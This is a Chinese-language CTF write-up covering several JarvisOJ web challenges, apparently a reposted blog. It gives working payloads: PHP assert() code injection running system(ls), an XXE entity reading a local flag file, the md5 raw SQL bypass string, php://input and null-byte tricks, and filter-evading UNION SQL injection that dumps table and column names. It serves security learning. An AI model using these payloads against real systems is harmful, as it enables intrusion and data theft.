JarvisOJ web部分题解(updating...)

babyphp

首先右键看源码
在这里插入图片描述
十分沙雕的在url后输了下?page=fhlag,结果当然是看不到,但是我们可以从这里知道有flag.php这个文件了
在这里插入图片描述
一看到GIT,想到GIT源码泄露,用某位大佬的工具来获取源码
在这里插入图片描述
可以看到有我们想要的flag.php,当然打开也是没有flag的
从index.php可以得到判断代码

<?php
if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

看到assert()函数反手一个代码执行读取flag.php
小垃圾经过多次测试与参考大佬wp,得到payload:?page=flag’.system(ls).’
这样就能将flag’.system(ls).'作为strpos()的第一个参数了
$file = "templates/" . "flag'.syatem(ls).'" . ".php";
assert("strpos('flag.'syatem(ls).'', '..') === false") or die("Detected hacking attempt!");
列出下所有文件
在这里插入图片描述
然后利用cat命令读取flag.php文件
在这里插入图片描述
在源码中得到flag
在这里插入图片描述
结语:一定要拼接好代码!

admin

没有什么思路,抓包看也没有什么有用的信息,于是就扫了网站目录
还真有。。。
在这里插入图片描述
又看到可爱的机器人啦,进去看看
在这里插入图片描述
提示/admin_s3cr3t.php页面
在这里插入图片描述
就直接给flag了,我还以为要继续找什么的
好吧是我被骗了。。。答案错误嘤嘤嘤
再抓包看看,改下admin的值就行
在这里插入图片描述

localhost

伪造一下IP地址即可
在这里插入图片描述

PORT51

十分天真的用 http://web.jarvisoj.com:51/试了试
其实应该是用公网ip端口访问,而不是改目的端口访问
windows用这个命令就行
curl --local-port 51 http://web.jarvisoj.com:32770/
但是服务器好像出了问题没有给flag

LOGIN

在这里插入图片描述
一开始眼瞎没有看到响应包的提示还进行爆破了…尬笑
也是第一次知道md5($pass,true)
在这里插入图片描述
具体原理参考:https://www.freebuf.com/column/150063.html写的超级棒!
输入ffifdyop得到flag
在这里插入图片描述

神盾局的秘密

通过审查元素大法发现图片来源为src="showimg.php?img=c2hpZWxkLmpwZw==",猜测任意文件读取漏洞
在这里插入图片描述
试着读取index.php,得到源码
在这里插入图片描述
应该是利用反序列化,先看下shield.php中Shield类的定义
在这里插入图片描述
接下来就是构造序列化字段了
经过我不太熟练的构造,get it~(查看源码可得)
在这里插入图片描述

WEB?

在这里插入图片描述
一开始看到这个登录框还以为是sql注入。。。抓包也没有发现什么提示
在这里插入图片描述
看源码又没看出个什么。。。看了大佬们的wp说是app.js有问题
在这里插入图片描述
复制在app.js搜索一下
在这里插入图片描述
再看下checkpass()
在这里插入图片描述
25元一次方程组,hhhhhh,笔算是不可能笔算的,上python

data = [81,87,66,123,82,51,97,99,55,95,49,115,95,105,110,116,101,114,101,115,116,105,110,103,125]
flag = ''
for i in data:
    flag += chr(i)
print flag

在这里插入图片描述
结语:一直以为源码的js啥的没啥好看的,是我孤陋寡闻了
dbq又触及到我的知识盲区了

api调用

以为是命令注入代码注入啥的,又是一道看了wp的题
XXE漏洞 学习了
虽然是最近在看的,但看的都是原理还没有实践过

]>引用外部文件

1.抓包更改content type:application/xml
2.构造xml注入代码,由于提示在,用system命令查看

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "/home/ctf/flag.txt" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

找了个xml代码。。。还不会写
在这里插入图片描述

In a mess

右键源码得到hint:index.phps
在index.phps得到代码

<?php
error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
	header('Location: index.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'Hahahahahaha';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("flag.txt");
}
else
{
	print "work harder!harder!harder!";
}
?>

关键处为:

 $data = @file_get_contents($a,'r');
    if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)

id用弱类型绕过,a用伪协议绕过,b利用eregi()函数的特性(00截断)绕过
所以payload:

?a=php://input&id=0a&b=%004qqqqq
POST:1112 is a nice lab!

在这里插入图片描述
进入给的目录???id=1难道是sql注入?
在这里插入图片描述
加个单引号看看,果不其然
在这里插入图片描述
查询数据库名
?id=-1/12/uniunionon/h/seselectlect/h/1,2,(selselectect/h/context/h/frofromm/h/content)%23
在这里插入图片描述
爆表名

?id=-1/*h*/uniunionon/*h*/seselectlect/*h*/1,2,(seselectlect/*h*/group_concat(table_name)/*h*/frofromm/*h*/information_schema.tables/*h*/where/*h*/table_schema=database())#

在这里插入图片描述
爆列名,注意将表名进行hex编码

?id=-1/*h*/uniunionon/*h*/seselectlect/*h*/1,2,(seselectlect/*h*/group_concat(column_name)/*h*/frofromm/*h*/information_schema.columns/*h*/where/*h*/table_name=0x636f6e74656e74)#

在这里插入图片描述
读内容

?id=-1/*h*/uniunionon/*h*/seselectlect/*h*/1,2,(selselectect/*h*/context/*h*/frofromm/*h*/content)%23

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/syy0201/article/details/89032238
今日推荐